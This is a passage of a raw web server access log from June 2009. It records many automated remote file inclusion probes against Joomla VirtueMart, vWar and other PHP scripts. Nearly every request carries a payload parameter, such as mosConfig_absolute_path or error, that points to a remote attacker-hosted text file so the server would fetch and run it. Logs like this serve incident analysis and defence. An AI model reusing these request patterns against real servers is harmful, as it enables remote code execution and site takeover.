///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33901 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:19:51 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/import_export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 586 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:19:51 -0600] "GET ///administrator/components/com_virtuemart/import_export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 840 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:19:53 -0600] "GET ///administrator/components/com_virtuemart/import_export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33873 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:23:23 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/data.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 577 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:23:23 -0600] "GET ///administrator/components/com_virtuemart/data.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:23:24 -0600] "GET ///administrator/components/com_virtuemart/data.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33837 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:31:05 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:31:05 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:31:05 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33845 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:31:27 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:31:28 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33845 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:31:32 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 123.143.98.5 - - [12/Jun/2009:19:50:10 -0600] "GET /rfi.txt//backup/errors.php?error=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 123.143.98.5 - - [12/Jun/2009:19:50:10 -0600] "GET //backup/errors.php?error=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 123.143.98.5 - - [12/Jun/2009:19:50:11 -0600] "GET //backup/errors.php?error=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 33650 "-" "Mozilla/5.0" 123.143.98.5 - - [12/Jun/2009:19:50:15 -0600] "GET /rfi.txt//backup/errors.php?error=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 123.143.98.5 - - [12/Jun/2009:19:50:15 -0600] "GET //backup/errors.php?error=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 123.143.98.5 - - [12/Jun/2009:19:50:16 -0600] "GET //backup/errors.php?error=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 33649 "-" "Mozilla/5.0" 210.112.121.225 - - [13/Jun/2009:11:34:07 -0600] "GET /rfi.txt//errors/errors.php?errors=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 210.112.121.225 - - [13/Jun/2009:11:34:07 -0600] "GET //errors/errors.php?errors=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 210.112.121.225 - - [13/Jun/2009:11:34:08 -0600] "GET //errors/errors.php?errors=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33643 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:11:58:39 -0600] "GET /rfi.txt/components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 556 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:11:58:39 -0600] "GET /components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:11:58:40 -0600] "GET /rfi.txt/components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 556 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:11:58:40 -0600] "GET /components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:11:58:40 -0600] "GET /components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 33759 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:11:58:41 -0600] "GET /components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 33758 "-" "Mozilla/5.0" 200.54.154.10 - - [13/Jun/2009:11:59:55 -0600] "GET //errors.php?error=http://www.cybion.it/daimler/.../ida.txt???? HTTP/1.1" 302 773 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 200.54.154.10 - - [13/Jun/2009:11:59:56 -0600] "GET //errors.php?error=http://www.cybion.it/daimler/.../ida.txt???? HTTP/1.1" 404 33620 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" 211.239.150.144 - - [13/Jun/2009:12:02:24 -0600] "GET /rfi.txt/components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 556 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:12:02:24 -0600] "GET /components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 211.239.150.144 - - [13/Jun/2009:12:02:25 -0600] "GET /components/show_image_in_imgtag.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 33758 "-" "Mozilla/5.0" 217.147.29.190 - - [13/Jun/2009:12:04:29 -0600] "GET /rfi.txt//accounts/inc/errors.php?error=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 518 "-" "Mozilla/5.0" 217.147.29.190 - - [13/Jun/2009:12:04:29 -0600] "GET //accounts/inc/errors.php?error=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 302 772 "-" "Mozilla/5.0" 217.147.29.190 - - [13/Jun/2009:12:04:30 -0600] "GET //accounts/inc/errors.php?error=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 33592 "-" "Mozilla/5.0" 63.223.85.28 - - [13/Jun/2009:12:09:45 -0600] "GET /rfi.txt/errors.php?error=http://portal.sterbinszky.hu/media/1.txt?? HTTP/1.1" 404 516 "-" "Mozilla/5.0" 63.223.85.28 - - [13/Jun/2009:12:09:45 -0600] "GET /errors.php?error=http://portal.sterbinszky.hu/media/1.txt?? HTTP/1.1" 302 770 "-" "Mozilla/5.0" 63.223.85.28 - - [13/Jun/2009:12:09:45 -0600] "GET /errors.php?error=http://portal.sterbinszky.hu/media/1.txt?? HTTP/1.1" 404 33756 "-" "Mozilla/5.0" 64.70.103.152 - - [13/Jun/2009:12:24:27 -0600] "GET /rfi.txt//?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 64.70.103.152 - - [13/Jun/2009:12:24:27 -0600] "GET //?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 64.70.103.152 - - [13/Jun/2009:12:24:28 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 99803 "-" "Mozilla/5.0" 75.125.146.130 - - [13/Jun/2009:12:26:46 -0600] "GET /rfi.txt//?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 75.125.146.130 - - [13/Jun/2009:12:26:46 -0600] "GET //?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 75.125.146.130 - - [13/Jun/2009:12:26:46 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 99880 "-" "Mozilla/5.0" 64.70.103.151 - - [13/Jun/2009:12:29:31 -0600] "GET /rfi.txt//?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 64.70.103.151 - - [13/Jun/2009:12:29:31 -0600] "GET //?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 64.70.103.151 - - [13/Jun/2009:12:29:32 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 99849 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:13:02:09 -0600] "GET /rfi.txt/errors.php?error=http://aboutav.com//id1.txt??? HTTP/1.1" 404 504 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:13:02:09 -0600] "GET /errors.php?error=http://aboutav.com//id1.txt??? HTTP/1.1" 302 758 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:13:02:10 -0600] "GET /errors.php?error=http://aboutav.com//id1.txt??? HTTP/1.1" 404 33550 "-" "Mozilla/5.0" 218.38.34.195 - - [13/Jun/2009:13:02:41 -0600] "GET /rfi.txt/errors.php?error=http://www.avigroup.ru//UserFiles/id.txt???? HTTP/1.1" 404 518 "-" "libwww-perl/5.805" 218.38.34.195 - - [13/Jun/2009:13:02:41 -0600] "GET /errors.php?error=http://www.avigroup.ru//UserFiles/id.txt???? HTTP/1.1" 302 772 "-" "libwww-perl/5.805" 218.38.34.195 - - [13/Jun/2009:13:02:42 -0600] "GET /errors.php?error=http://www.avigroup.ru//UserFiles/id.txt???? HTTP/1.1" 404 33619 "-" "libwww-perl/5.805" 201.232.54.48 - - [13/Jun/2009:13:11:05 -0600] "GET /rfi.txt/errors.php?error=http://aboutav.com//id1.txt??? HTTP/1.1" 404 504 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:13:11:05 -0600] "GET /errors.php?error=http://aboutav.com//id1.txt??? HTTP/1.1" 302 758 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:13:11:06 -0600] "GET /errors.php?error=http://aboutav.com//id1.txt??? HTTP/1.1" 404 33550 "-" "Mozilla/5.0" 199.120.90.222 - - [13/Jun/2009:13:24:18 -0600] "GET /rfi.txt/errors.php?error=http://115.137.197.60/2002/.sh/responz/rxid1.txt?? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 199.120.90.222 - - [13/Jun/2009:13:24:17 -0600] "GET /errors.php?error=http://115.137.197.60/2002/.sh/responz/rxid1.txt?? HTTP/1.1" 302 778 "-" "Mozilla/5.0" 199.120.90.222 - - [13/Jun/2009:13:24:18 -0600] "GET /errors.php?error=http://115.137.197.60/2002/.sh/responz/rxid1.txt?? HTTP/1.1" 404 33709 "-" "Mozilla/5.0" 199.120.90.222 - - [13/Jun/2009:13:27:44 -0600] "GET /rfi.txt/errors.php?error=http://115.137.197.60/2002/.sh/responz/rxid1.txt?? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 199.120.90.222 - - [13/Jun/2009:13:27:44 -0600] "GET /errors.php?error=http://115.137.197.60/2002/.sh/responz/rxid1.txt?? HTTP/1.1" 302 778 "-" "Mozilla/5.0" 199.120.90.222 - - [13/Jun/2009:13:27:44 -0600] "GET /errors.php?error=http://115.137.197.60/2002/.sh/responz/rxid1.txt?? HTTP/1.1" 404 33697 "-" "Mozilla/5.0" 64.6.15.41 - - [13/Jun/2009:14:06:19 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.pintoresenaccion.com/administrator/components/com_virtuemart/idfx1.TXT?? HTTP/1.1" 404 598 "-" "Mozilla/5.0" 64.6.15.41 - - [13/Jun/2009:14:06:19 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.pintoresenaccion.com/administrator/components/com_virtuemart/idfx1.TXT?? HTTP/1.1" 302 848 "-" "Mozilla/5.0" 64.6.15.41 - - [13/Jun/2009:14:06:20 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.pintoresenaccion.com/administrator/components/com_virtuemart/idfx1.TXT?? HTTP/1.1" 404 34045 "-" "Mozilla/5.0" 75.145.152.113 - - [13/Jun/2009:14:11:51 -0600] "GET /rfi.txt//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://cafe0.fileave.com/id.feelcomz.txt??? HTTP/1.1" 404 570 "-" "Mozilla/5.0" 75.145.152.113 - - [13/Jun/2009:14:11:51 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://cafe0.fileave.com/id.feelcomz.txt??? HTTP/1.1" 302 786 "-" "Mozilla/5.0" 75.145.152.113 - - [13/Jun/2009:14:11:52 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://cafe0.fileave.com/id.feelcomz.txt??? HTTP/1.1" 200 99319 "-" "Mozilla/5.0" 217.147.30.80 - - [13/Jun/2009:14:12:03 -0600] "GET /rfi.txt//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt??? HTTP/1.1" 404 573 "-" "Mozilla/5.0" 217.147.30.80 - - [13/Jun/2009:14:12:04 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt??? HTTP/1.1" 302 789 "-" "Mozilla/5.0" 217.147.30.80 - - [13/Jun/2009:14:12:05 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt??? HTTP/1.1" 200 98677 "-" "Mozilla/5.0" 218.38.243.71 - - [13/Jun/2009:14:26:13 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.paginaswebhonduras.com///components/com_putek/1.txt? HTTP/1.1" 302 850 "-" "Mozilla/5.0" 218.38.243.71 - - [13/Jun/2009:14:26:14 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.paginaswebhonduras.com///components/com_putek/1.txt? HTTP/1.1" 404 596 "-" "Mozilla/5.0" 218.38.243.71 - - [13/Jun/2009:14:26:26 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.paginaswebhonduras.com///components/com_putek/1.txt? HTTP/1.1" 404 33922 "-" "Mozilla/5.0" 218.38.243.71 - - [13/Jun/2009:14:27:49 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.paginaswebhonduras.com///components/com_putek/1.txt? HTTP/1.1" 302 850 "-" "Mozilla/5.0" 218.38.243.71 - - [13/Jun/2009:14:27:51 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.paginaswebhonduras.com///components/com_putek/1.txt? HTTP/1.1" 404 596 "-" "Mozilla/5.0" 218.38.243.71 - - [13/Jun/2009:14:27:55 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.paginaswebhonduras.com///components/com_putek/1.txt? HTTP/1.1" 404 33922 "-" "Mozilla/5.0" 74.52.48.74 - - [13/Jun/2009:14:29:08 -0600] "GET /rfi.txt//errors.php?error=http://neu_2.lasrv-1.de/web/.v6/id.txt??? HTTP/1.1" 404 516 "-" "libwww-perl/5.826" 74.52.48.74 - - [13/Jun/2009:14:29:08 -0600] "GET //errors.php?error=http://neu_2.lasrv-1.de/web/.v6/id.txt??? HTTP/1.1" 302 770 "-" "libwww-perl/5.826" 74.52.48.74 - - [13/Jun/2009:14:29:09 -0600] "GET //errors.php?error=http://neu_2.lasrv-1.de/web/.v6/id.txt??? HTTP/1.1" 404 33758 "-" "libwww-perl/5.826" 64.70.103.152 - - [13/Jun/2009:15:13:34 -0600] "GET /rfi.txt//?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 64.70.103.151 - - [13/Jun/2009:15:13:34 -0600] "GET /rfi.txt//?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 64.70.103.152 - - [13/Jun/2009:15:13:34 -0600] "GET //?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 64.70.103.151 - - [13/Jun/2009:15:13:34 -0600] "GET //?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 64.70.103.152 - - [13/Jun/2009:15:13:34 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 99838 "-" "Mozilla/5.0" 64.70.103.151 - - [13/Jun/2009:15:13:34 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 99591 "-" "Mozilla/5.0" 75.125.146.130 - - [13/Jun/2009:15:13:39 -0600] "GET /rfi.txt//?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0" 75.125.146.130 - - [13/Jun/2009:15:13:39 -0600] "GET //?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 75.125.146.130 - - [13/Jun/2009:15:13:40 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 99426 "-" "Mozilla/5.0" 202.93.37.101 - - [13/Jun/2009:15:58:49 -0600] "GET ////?mosConfig_absolute_path=http://daytona02.t35.com/Bronping.txt?? HTTP/1.1" 302 792 "-" "SonyEricssonK310i/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1" 202.93.37.101 - - [13/Jun/2009:15:58:51 -0600] "GET /?mosConfig_absolute_path=http://daytona02.t35.com/Bronping.txt?? HTTP/1.1" 200 68056 "-" "SonyEricssonK310i/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1" 201.232.54.48 - - [13/Jun/2009:18:07:44 -0600] "GET /rfi.txt//errors.php?error=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 509 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:18:07:44 -0600] "GET //errors.php?error=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 302 763 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:18:07:46 -0600] "GET //errors.php?error=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 33556 "-" "Mozilla/5.0" 195.34.78.110 - - [13/Jun/2009:18:18:52 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 302 814 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" 195.34.78.110 - - [13/Jun/2009:18:18:53 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 404 33763 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" 195.34.78.110 - - [13/Jun/2009:18:18:57 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 302 814 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" 195.34.78.110 - - [13/Jun/2009:18:18:58 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 404 33763 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" 195.34.78.110 - - [13/Jun/2009:18:26:34 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 302 814 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" 195.34.78.110 - - [13/Jun/2009:18:26:35 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 404 33762 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" 124.217.216.86 - - [13/Jun/2009:18:35:05 -0600] "GET /rfi.txt///components/com_virtuemart/export.php?mosConfig_absolute_path=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:18:35:05 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:18:35:06 -0600] "GET ///components/com_virtuemart/export.php?mosConfig_absolute_path=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 34157 "-" "Mozilla/5.0" 83.222.193.94 - - [13/Jun/2009:18:59:28 -0600] "GET /rfi.txt//com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.motoclubagora.net/modules/fx29id1.txt?? HTTP/1.1" 404 572 "-" "Mozilla/5.0" 83.222.193.94 - - [13/Jun/2009:18:59:28 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.motoclubagora.net/modules/fx29id1.txt?? HTTP/1.1" 302 826 "-" "Mozilla/5.0" 83.222.193.94 - - [13/Jun/2009:18:59:30 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.motoclubagora.net/modules/fx29id1.txt?? HTTP/1.1" 404 34138 "-" "Mozilla/5.0" 213.189.2.38 - - [13/Jun/2009:19:02:09 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 213.189.2.38 - - [13/Jun/2009:19:02:09 -0600] "GET ///vwar/backup/errors.php?error=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 213.189.2.38 - - [13/Jun/2009:19:02:11 -0600] "GET ///vwar/backup/errors.php?error=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 404 34007 "-" "Mozilla/5.0" 213.189.2.38 - - [13/Jun/2009:19:03:05 -0600] "GET ///vwar/backup/errors.php?error=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 213.189.2.38 - - [13/Jun/2009:19:03:05 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 213.189.2.38 - - [13/Jun/2009:19:03:07 -0600] "GET ///vwar/backup/errors.php?error=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 404 34164 "-" "Mozilla/5.0" 151.1.154.24 - - [13/Jun/2009:19:14:22 -0600] "GET //main.php?sayfa=http://www.gayawater.co.kr/technote/..../id.txt??? HTTP/1.1" 404 33630 "-" "libwww-perl/5.805" 151.1.154.24 - - [13/Jun/2009:19:19:27 -0600] "GET //main.php?sayfa=http://www.gayawater.co.kr/technote/..../id.txt??? HTTP/1.1" 404 33630 "-" "libwww-perl/5.805" 88.84.137.163 - - [13/Jun/2009:19:28:43 -0600] "GET /rfi.txt//convert/mvcw.php?step=1&vwar_root=http://elcracker.t35.com/1.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 88.84.137.163 - - [13/Jun/2009:19:28:43 -0600] "GET //convert/mvcw.php?step=1&vwar_root=http://elcracker.t35.com/1.txt?? HTTP/1.1" 302 778 "-" "Mozilla/5.0" 88.84.137.163 - - [13/Jun/2009:19:28:44 -0600] "GET //convert/mvcw.php?step=1&vwar_root=http://elcracker.t35.com/1.txt?? HTTP/1.1" 404 33631 "-" "Mozilla/5.0" 121.124.127.164 - - [13/Jun/2009:19:40:50 -0600] "GET /rfi.txt/errors.php?error=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 508 "-" "Mozilla/5.0" 121.124.127.164 - - [13/Jun/2009:19:40:51 -0600] "GET /errors.php?error=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 121.124.127.164 - - [13/Jun/2009:19:40:53 -0600] "GET /errors.php?error=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 33561 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:48 -0600] "GET /2009/05/20/inside-the-massive-gumblar-attacka-dentro-del-enorme-ataque-gumblar//forum/index.php?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:48 -0600] "GET /2009/05//forum/index.php?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:48 -0600] "GET /2009/05/20//forum/index.php?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:48 -0600] "GET /2009//forum/index.php?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 302 781 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:48 -0600] "GET //forum/index.php?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:49 -0600] "GET /2009/05//forum/?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 404 33928 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:49 -0600] "GET /2009//forum/?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 404 33933 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:49 -0600] "GET /2009/05/20/inside-the-massive-gumblar-attacka-dentro-del-enorme-ataque-gumblar//forum/?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 404 34228 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:49 -0600] "GET //forum/?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 404 33928 "-" "Mozilla/5.0" 124.217.216.86 - - [13/Jun/2009:19:41:49 -0600] "GET /2009/05/20//forum/?action=http://prideknives.co.nz/images/UNIX/idd1.txt? HTTP/1.1" 404 34130 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:19:49:03 -0600] "GET /rfi.txt/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://aboutav.com//id1.txt??? HTTP/1.1" 404 583 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:19:49:03 -0600] "GET 